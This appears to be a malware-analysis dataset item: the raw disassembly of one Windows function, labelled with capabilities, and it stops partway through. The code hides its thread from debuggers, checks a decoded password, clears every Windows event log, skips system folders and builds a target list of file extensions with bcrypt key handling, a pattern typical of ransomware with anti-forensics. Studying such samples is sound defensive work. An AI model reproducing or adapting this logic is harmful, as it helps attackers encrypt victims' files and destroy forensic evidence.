Function at 0x14002ad40
Capabilities:
Clear windows event logs
Get common file path
Hide thread from debugger

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x2290
call fcn.140110410
sub rsp, rax
mov qword [rsp + 0x120], 0xfffffffffffffffe
mov qword [rsp + 0x22c0], rbx
mov qword [rsp + 0x22d0], rsi
mov rax, qword [0x1402e7080]
xor rax, rsp
mov qword [rsp + 0x2280], rax
mov r13, rdx
mov r12d, ecx
mov dword [rsp + 0x1a60], ecx
xor esi, esi
mov dword [rsp + 0xd0], esi
mov rax, qword [0x1402eac40]
movsxd rbx, dword [rax + 4]
lea rax, [0x1402eac40]
add rbx, rax
lea rcx, [rsp + 0xd0]
call fcn.14001cd30
nop
mov r8, rax
lea rdx, [rsp + 0xa0]
mov rcx, rbx
call fcn.140022a00
nop
mov rcx, qword [rsp + 0xa8]
test rcx, rcx
je 0x14002adfa
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14002adfa
mov rcx, qword [rax]
mov r8, qword [rcx]
lea edx, [rsi + 1]
mov rcx, rax
call r8
nop
mov rcx, qword [rsp + 0xd8]
test rcx, rcx
je 0x14002ae24
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x14002ae24
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rsp + 0x1b70]
call fcn.1400b5f90
lea rcx, [rsp + 0x1b70]
call fcn.140007d80
nop
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14002ae7f
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
call rbx
cmp r12d, 2
jge 0x14002af16
mov rcx, qword [rsp + 0x1b78]
test rcx, rcx
je 0x14002ae9c
call qword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov rcx, qword [rsp + 0x1b70]
test rcx, rcx
je 0x14002aeb1
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
lea rcx, [rsp + 0x1ba8]
call fcn.140004810
lea rcx, [rsp + 0x1ba8]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x1ba8]
call fcn.140068260
mov qword [rsp + 0x1ba8], rsi
lea rcx, [rsp + 0x1b80]
call fcn.140004810
lea rcx, [rsp + 0x1b80]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x1b80]
call fcn.140068260
jmp 0x14002d514
mov rbx, qword [r13 + 8]
mov qword [rsp + 0x1a88], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1aa0], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1a88], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1a88]
mov rax, qword [rsp + 0x1a88]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9f0]
movdqu xmmword [rsp + 0x1aa0], xmm0
mov byte [rsp + 0x1a90], 0
mov r15, 0xffffffffffffffff
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14002af80
mov rdx, rbx
lea rcx, [rsp + 0x1a88]
call fcn.140014260
nop
mov qword [rsp + 0x78], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x90], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9f0]
movdqu xmmword [rsp + 0x90], xmm0
mov byte [rsp + 0x80], 0
mov r8d, 8
lea rdx, str.3456djre
lea rcx, [rsp + 0x78]
call fcn.140014260
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.140012330
mov r14, rsi
mov rax, qword [rsp + 0x68]
test rax, rax
je 0x14002b0cd
mov r12d, 0x41
nop word [rax + rax]
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140011ff0
movsx ecx, byte [rax]
call fcn.1400c69f0
test eax, eax
je 0x14002b0b4
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140011ff0
movsx ecx, byte [rax]
call fcn.1400c6af0
mov ebx, eax
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140011ff0
mov ecx, 0x61
test ebx, ebx
cmovne ecx, r12d
movsx edi, byte [rax]
sub edi, ecx
add edi, 0xd
mov eax, 0x4ec4ec4f
imul edi
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x1a
sub edi, eax
mov eax, 0x61
test ebx, ebx
cmovne eax, r12d
add dil, al
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.140011ff0
mov byte [rax], dil
inc r14
mov rax, qword [rsp + 0x68]
cmp r14, rax
jb 0x14002b030
mov r12d, dword [rsp + 0x1a60]
mov dword [rsp + 0xd0], 3
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x1a90]
cmp qword [rsp + 0x1aa8], 0x10
cmovae rcx, qword [rsp + 0x1a90]
mov r8, qword [rsp + 0x1aa0]
cmp r8, rax
jne 0x14002b11d
call fcn.1400b6200
test eax, eax
jne 0x14002b11d
xor bl, bl
jmp 0x14002b11f
mov bl, 1
lea rcx, [rsp + 0x50]
call fcn.140004810
lea rcx, [rsp + 0x50]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x50]
call fcn.140068260
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x78]
call fcn.140004810
lea rcx, [rsp + 0x78]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x78]
call fcn.140068260
test bl, bl
je 0x14002b1a7
lea rcx, [rsp + 0x1a88]
call fcn.140004810
lea rcx, [rsp + 0x1a88]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x1a88]
call fcn.140068260
mov qword [rsp + 0x1a88], rsi
jmp 0x14002ae89
mov qword [rsp + 0x1af8], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1b10], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1af8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1af8]
mov rax, qword [rsp + 0x1af8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9f0]
movdqu xmmword [rsp + 0x1b10], xmm0
mov byte [rsp + 0x1b00], 0
mov r8d, 6
lea rdx, str.config
lea rcx, [rsp + 0x1af8]
call fcn.140014260
nop
cmp r12d, 3
jne 0x14002b247
mov rdx, qword [r13 + 0x10]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14002b230
lea rcx, [rsp + 0x1af8]
call fcn.140014260
lea rcx, [0x140010040]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
nop
call fcn.14000b2a0
nop
jmp 0x14002b263
lea rdx, [rsp + 0x1ad0]
call fcn.1400080e0
nop
cmp qword [rsp + 0x1ae8], 0
jne 0x14002b297
mov r8d, 0x24
lea rdx, str.00000000_0000_0000_0000_000000000000
lea rcx, [rsp + 0x1ad0]
call fcn.140014260
nop
call fcn.140007ef0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.wevtapi.dll_EvtOpenChannelEnum]
mov rdi, rax
test rax, rax
je 0x14002b348
mov dword [rsp + 0x1a60], esi
lea r9, [rsp + 0x1a60]
lea r8, [rsp + 0x1e70]
mov edx, 0x100
mov rcx, rax
call qword [sym.imp.wevtapi.dll_EvtNextChannelPath]
test eax, eax
je 0x14002b33f
nop dword [rax + rax]
mov r8d, 1
lea rdx, [rsp + 0x1e70]
xor ecx, ecx
call qword [sym.imp.wevtapi.dll_EvtOpenLog]
mov rbx, rax
test rax, rax
je 0x14002b31d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1e70]
xor ecx, ecx
call qword [sym.imp.wevtapi.dll_EvtClearLog]
mov rcx, rbx
call qword [sym.imp.wevtapi.dll_EvtClose]
lea r9, [rsp + 0x1a60]
lea r8, [rsp + 0x1e70]
mov edx, 0x100
mov rcx, rdi
call qword [sym.imp.wevtapi.dll_EvtNextChannelPath]
test eax, eax
jne 0x14002b2e0
mov rcx, rdi
call qword [sym.imp.wevtapi.dll_EvtClose]
call fcn.140009ef0
call fcn.1400082a0
nop
jmp 0x14002b35b
mov r8d, 0x20
lea rdx, [rsp + 0x1bf8]
call fcn.140024b50
nop
mov r8d, 0x10
lea rdx, [rsp + 0x1bd0]
call fcn.140024b50
nop
mov qword [rsp + 0x50], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9f0]
movdqu xmmword [rsp + 0x68], xmm0
mov byte [rsp + 0x58], 0
mov dword [rsp + 0xd0], 7
mov rdx, qword [rsp + 0x1ae8]
add rdx, 4
lea rcx, [rsp + 0x50]
call fcn.140011e50
lea rdx, [rsp + 0x1ad8]
cmp qword [rsp + 0x1af0], 0x10
cmovae rdx, qword [rsp + 0x1ad8]
mov r8, qword [rsp + 0x1ae8]
lea rcx, [rsp + 0x50]
call fcn.1400048d0
mov r8d, 4
lea rdx, str.____
lea rcx, [rsp + 0x50]
call fcn.1400048d0
lea rdx, [rsp + 0x1c00]
cmp qword [rsp + 0x1c18], 0x10
cmovae rdx, qword [rsp + 0x1c00]
mov r8, qword [rsp + 0x1c10]
lea rcx, [rsp + 0x50]
call fcn.1400048d0
mov rbx, rax
mov qword [rsp + 0xa0], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xb8], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0xa0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0xa0]
mov rax, qword [rsp + 0xa0]
mov qword [rax], rcx
cmp qword [rbx + 0x20], 0x10
jb 0x14002b4b1
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140001ae0
jmp 0x14002b4b9
mov rcx, rbx
call fcn.140001a50
movups xmm0, xmmword [rbx + 8]
movups xmmword [rsp + 0xa8], xmm0
movups xmm1, xmmword [rbx + 0x18]
movups xmmword [rsp + 0xb8], xmm1
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x20], 0xf
mov byte [rbx + 8], 0
mov dword [rsp + 0xd0], 0xf
mov r8d, 4
lea rdx, str.____
lea rcx, [rsp + 0xa0]
call fcn.1400048d0
mov rbx, rax
mov qword [rsp + 0x78], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x90], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x78], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x78]
mov qword [rax], rcx
cmp qword [rbx + 0x20], 0x10
jb 0x14002b552
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140001ae0
jmp 0x14002b55a
mov rcx, rbx
call fcn.140001a50
movups xmm0, xmmword [rbx + 8]
movups xmmword [rsp + 0x80], xmm0
movups xmm1, xmmword [rbx + 0x18]
movups xmmword [rsp + 0x90], xmm1
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x20], 0xf
mov byte [rbx + 8], 0
mov dword [rsp + 0xd0], 0x1f
lea rdx, [rsp + 0x1bd8]
cmp qword [rsp + 0x1bf0], 0x10
cmovae rdx, qword [rsp + 0x1bd8]
mov r8, qword [rsp + 0x1be8]
lea rcx, [rsp + 0x78]
call fcn.1400048d0
mov rbx, rax
mov qword [rsp + 0x1b20], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1b38], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1b20], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1b20]
mov rax, qword [rsp + 0x1b20]
mov qword [rax], rcx
cmp qword [rbx + 0x20], 0x10
jb 0x14002b614
mov rdx, rbx
lea rcx, [rsp + 0x1b20]
call fcn.140001ae0
jmp 0x14002b61c
mov rcx, rbx
call fcn.140001a50
movups xmm0, xmmword [rbx + 8]
movups xmmword [rsp + 0x1b28], xmm0
movups xmm1, xmmword [rbx + 0x18]
movups xmmword [rsp + 0x1b38], xmm1
mov qword [rbx + 0x18], rsi
mov qword [rbx + 0x20], 0xf
mov byte [rbx + 8], 0
lea rcx, [rsp + 0x78]
call fcn.140004810
lea rcx, [rsp + 0x78]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x78]
call fcn.140068260
mov qword [rsp + 0x78], rsi
lea rcx, [rsp + 0xa0]
call fcn.140004810
lea rcx, [rsp + 0xa0]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xa0]
call fcn.140068260
mov qword [rsp + 0xa0], rsi
lea rcx, [rsp + 0x50]
call fcn.140004810
lea rcx, [rsp + 0x50]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x50]
call fcn.140068260
mov qword [rsp + 0x50], rsi
lea r8, [0x1402ed660]
lea rdx, [rsp + 0xd0]
call fcn.1400244a0
nop
lea r9, [rsp + 0x1b20]
mov r8, rax
lea rdx, [rsp + 0x1c20]
call fcn.140024d10
nop
lea rcx, [rsp + 0xd0]
call fcn.140004810
lea rcx, [rsp + 0xd0]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0xd0]
call fcn.140068260
mov qword [rsp + 0xd0], rsi
lea rax, [rsp + 0x2070]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jns 0x14002b7c0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x1a60], rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov r8d, 0x29
lea rdx, str.____Failed_to_get_desktop_directory_path.
lea rcx, [rsp + 0x50]
call fcn.140014260
nop
lea rcx, [rsp + 0x50]
call fcn.1400079e0
xor eax, eax
mov qword [rsp + 0x1a68], rax
mov qword [rsp + 0x1a70], rax
mov qword [rsp + 0x1a78], rax
mov qword [rsp + 0x1a80], rax
lea rdx, [rsp + 0x1a68]
call fcn.14000c9f0
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x1a78]
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x1a68]
lea rcx, [rsp + 0xa0]
call fcn.140005010
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd0], xmm0
mov rax, qword [rsp + 0x1a70]
mov qword [rsp + 0xe0], rax
lea rdx, [rsp + 0x1a68]
lea rcx, [rsp + 0xd0]
call fcn.140005010
lea r9, [rsp + 0x2070]
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.140016240
mov rbx, rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x78], xmm0
mov rcx, qword [rsp + 0x1a78]
mov qword [rsp + 0x88], rcx
lea rdx, [rsp + 0x1a68]
lea rcx, [rsp + 0x78]
call fcn.140005010
lea rdx, [rsp + 0x78]
mov rcx, rbx
call fcn.1400111b0
movzx ebx, al
mov edx, 3
lea rcx, [rsp + 0x1a60]
call fcn.14002d5d0
lea rcx, [rsp + 0x78]
call fcn.1400050c0
lea rcx, [rsp + 0x1a60]
call fcn.14002d6a0
nop
mov edx, 3
lea rcx, [rsp + 0x1a60]
call fcn.14002d5d0
lea rcx, [rsp + 0x50]
call fcn.1400050c0
lea rcx, [rsp + 0x1a60]
call fcn.14002d6a0
nop
test bl, bl
je 0x14002b9b7
mov qword [rsp + 0x50], rsi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x50]
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqu xmmword [rsp + 0x68], xmm0
mov word [rsp + 0x58], si
lea rax, [rsp + 0x2070]
nop dword [rax]
inc r15
cmp word [rax + r15*2], 0
jne 0x14002b960
mov r8, r15
lea rdx, [rsp + 0x2070]
lea rcx, [rsp + 0x50]
call fcn.140013c40
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x1a68]
call fcn.140011260
nop
lea rcx, [rsp + 0x50]
call fcn.140013b90
lea rcx, [rsp + 0x50]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x50]
call fcn.140068260
mov rbx, qword [rsp + 0x1a70]
mov rdi, qword [rsp + 0x1a78]
cmp rbx, rdi
je 0x14002ba65
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.140011d60
mov r8, rax
lea rdx, [rsp + 0x78]
call fcn.14000d030
nop
mov r8, rax
lea rdx, [rsp + 0x50]
call fcn.140010d60
nop
mov r8, rax
lea rdx, [rsp + 0x1c20]
call fcn.140024260
nop
lea rcx, [rsp + 0x50]
call fcn.140004810
lea rcx, [rsp + 0x50]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x50]
call fcn.140068260
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x78]
call fcn.140013b90
lea rcx, [rsp + 0x78]
call fcn.140001a50
mov edx, 0x10
mov rcx, qword [rsp + 0x78]
call fcn.140068260
add rbx, 0x28
cmp rbx, rdi
jne 0x14002b9d0
xor eax, eax
mov qword [rsp + 0x1ab0], rax
mov qword [rsp + 0x1ab8], rax
mov qword [rsp + 0x1ac0], rax
mov qword [rsp + 0x1ac8], rax
mov qword [rsp + 0x1e70], rsi
mov qword [rsp + 0x1e88], rsi
mov qword [rsp + 0x1e90], rsi
lea ecx, [rax + 0x10]
call fcn.140004af0
mov qword [rsp + 0x1e70], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1e70]
mov rax, qword [rsp + 0x1e70]
mov qword [rax], rcx
mov qword [rsp + 0x1e88], rsi
mov qword [rsp + 0x1e90], 7
mov word [rsp + 0x1e78], si
mov r8d, 0xd
lea rdx, str.Program_Files
lea rcx, [rsp + 0x1e70]
call fcn.140013c40
nop
mov qword [rsp + 0x1e98], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x1eb0], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1e98], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1e98]
mov rax, qword [rsp + 0x1e98]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x1eb0], xmm0
mov word [rsp + 0x1ea0], si
mov r8d, 0x13
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x1e98]
call fcn.140013c40
nop
mov qword [rsp + 0x1ec0], rsi
mov qword [rsp + 0x1ed8], rsi
mov qword [rsp + 0x1ee0], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1ec0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1ec0]
mov rax, qword [rsp + 0x1ec0]
mov qword [rax], rcx
mov qword [rsp + 0x1ed8], rsi
mov qword [rsp + 0x1ee0], 7
mov word [rsp + 0x1ec8], si
mov r8d, 7
lea rdx, str.Windows
lea rcx, [rsp + 0x1ec0]
call fcn.140013c40
nop
mov qword [rsp + 0x1ee8], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x1f00], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1ee8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1ee8]
mov rax, qword [rsp + 0x1ee8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x1f00], xmm0
mov word [rsp + 0x1ef0], si
mov r8d, 7
lea rdx, str.AppData
lea rcx, [rsp + 0x1ee8]
call fcn.140013c40
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1ab0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1ac0], xmm1
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1ab0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1ab0]
mov rax, qword [rsp + 0x1ab0]
mov qword [rax], rcx
lea r8, [rsp + 0x1f10]
lea rdx, [rsp + 0x1e70]
lea rcx, [rsp + 0x1ab0]
call fcn.1400169f0
nop
lea r9, [fcn.140006f60]
mov edx, 0x28
lea r8d, [rdx - 0x24]
lea rcx, [rsp + 0x1e70]
call fcn.140068740
xor eax, eax
mov qword [rsp + 0x1b48], rax
mov qword [rsp + 0x1b50], rax
mov qword [rsp + 0x1b58], rax
mov qword [rsp + 0x1b60], rax
mov qword [rsp + 0x130], rsi
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], rsi
lea ecx, [rax + 0x10]
call fcn.140004af0
mov qword [rsp + 0x130], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x130]
mov rax, qword [rsp + 0x130]
mov qword [rax], rcx
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], 7
mov word [rsp + 0x138], si
mov r8d, 4
lea rdx, str..zip
lea rcx, [rsp + 0x130]
call fcn.140013c40
nop
mov qword [rsp + 0x158], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x170], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x158], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x158]
mov rax, qword [rsp + 0x158]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x170], xmm0
mov word [rsp + 0x160], si
mov r8d, 3
lea rdx, [0x1402cae48]
lea rcx, [rsp + 0x158]
call fcn.140013c40
nop
mov qword [rsp + 0x180], rsi
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1a0], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x180], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x180]
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov qword [rsp + 0x198], rsi
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], si
mov r8d, 5
lea rdx, str..gzip
lea rcx, [rsp + 0x180]
call fcn.140013c40
nop
mov qword [rsp + 0x1a8], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1a8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1a8]
mov rax, qword [rsp + 0x1a8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x1c0], xmm0
mov word [rsp + 0x1b0], si
mov r8d, 3
lea rdx, [0x1402cae60]
lea rcx, [rsp + 0x1a8]
call fcn.140013c40
nop
mov qword [rsp + 0x1d0], rsi
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1d0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1d0]
mov rax, qword [rsp + 0x1d0]
mov qword [rax], rcx
mov qword [rsp + 0x1e8], rsi
mov qword [rsp + 0x1f0], 7
mov word [rsp + 0x1d8], si
mov r8d, 4
lea rdx, str..tar
lea rcx, [rsp + 0x1d0]
call fcn.140013c40
nop
mov qword [rsp + 0x1f8], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x210], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x1f8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x1f8]
mov rax, qword [rsp + 0x1f8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x210], xmm0
mov word [rsp + 0x200], si
mov r8d, 4
lea rdx, str..rar
lea rcx, [rsp + 0x1f8]
call fcn.140013c40
nop
mov qword [rsp + 0x220], rsi
mov qword [rsp + 0x238], rsi
mov qword [rsp + 0x240], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x220], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x220]
mov rax, qword [rsp + 0x220]
mov qword [rax], rcx
mov qword [rsp + 0x238], rsi
mov qword [rsp + 0x240], 7
mov word [rsp + 0x228], si
mov r8d, 4
lea rdx, str..txt
lea rcx, [rsp + 0x220]
call fcn.140013c40
nop
mov qword [rsp + 0x248], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x260], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x248], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x248]
mov rax, qword [rsp + 0x248]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x260], xmm0
mov word [rsp + 0x250], si
mov r8d, 4
lea rdx, str..log
lea rcx, [rsp + 0x248]
call fcn.140013c40
nop
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x288], rsi
mov qword [rsp + 0x290], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x270], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x270]
mov rax, qword [rsp + 0x270]
mov qword [rax], rcx
mov qword [rsp + 0x288], rsi
mov qword [rsp + 0x290], 7
mov word [rsp + 0x278], si
mov r8d, 4
lea rdx, str..png
lea rcx, [rsp + 0x270]
call fcn.140013c40
nop
mov qword [rsp + 0x298], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x2b0], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x298], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x298]
mov rax, qword [rsp + 0x298]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x2b0], xmm0
mov word [rsp + 0x2a0], si
mov r8d, 4
lea rdx, str..jpg
lea rcx, [rsp + 0x298]
call fcn.140013c40
nop
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x2d8], rsi
mov qword [rsp + 0x2e0], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x2c0], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x2c0]
mov rax, qword [rsp + 0x2c0]
mov qword [rax], rcx
mov qword [rsp + 0x2d8], rsi
mov qword [rsp + 0x2e0], 7
mov word [rsp + 0x2c8], si
mov r8d, 5
lea rdx, str..jepg
lea rcx, [rsp + 0x2c0]
call fcn.140013c40
nop
mov qword [rsp + 0x2e8], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x300], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x2e8], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x2e8]
mov rax, qword [rsp + 0x2e8]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x300], xmm0
mov word [rsp + 0x2f0], si
mov r8d, 4
lea rdx, str..bmp
lea rcx, [rsp + 0x2e8]
call fcn.140013c40
nop
mov qword [rsp + 0x310], rsi
mov qword [rsp + 0x328], rsi
mov qword [rsp + 0x330], rsi
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x310], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x310]
mov rax, qword [rsp + 0x310]
mov qword [rax], rcx
mov qword [rsp + 0x328], rsi
mov qword [rsp + 0x330], 7
mov word [rsp + 0x318], si
mov r8d, 6
lea rdx, str..accdb
lea rcx, [rsp + 0x310]
call fcn.140013c40
nop
mov qword [rsp + 0x338], rsi
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x350], xmm0
mov ecx, 0x10
call fcn.140004af0
mov qword [rsp + 0x338], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
lea rcx, [rsp + 0x338]
mov rax, qword [rsp + 0x338]
mov qword [rax], rcx
movdqa xmm0, xmmword [0x1402cb9e0]
movdqa xmmword [rsp + 0x350], xmm0
mov word [rsp + 0x340], si
mov r8d, 4
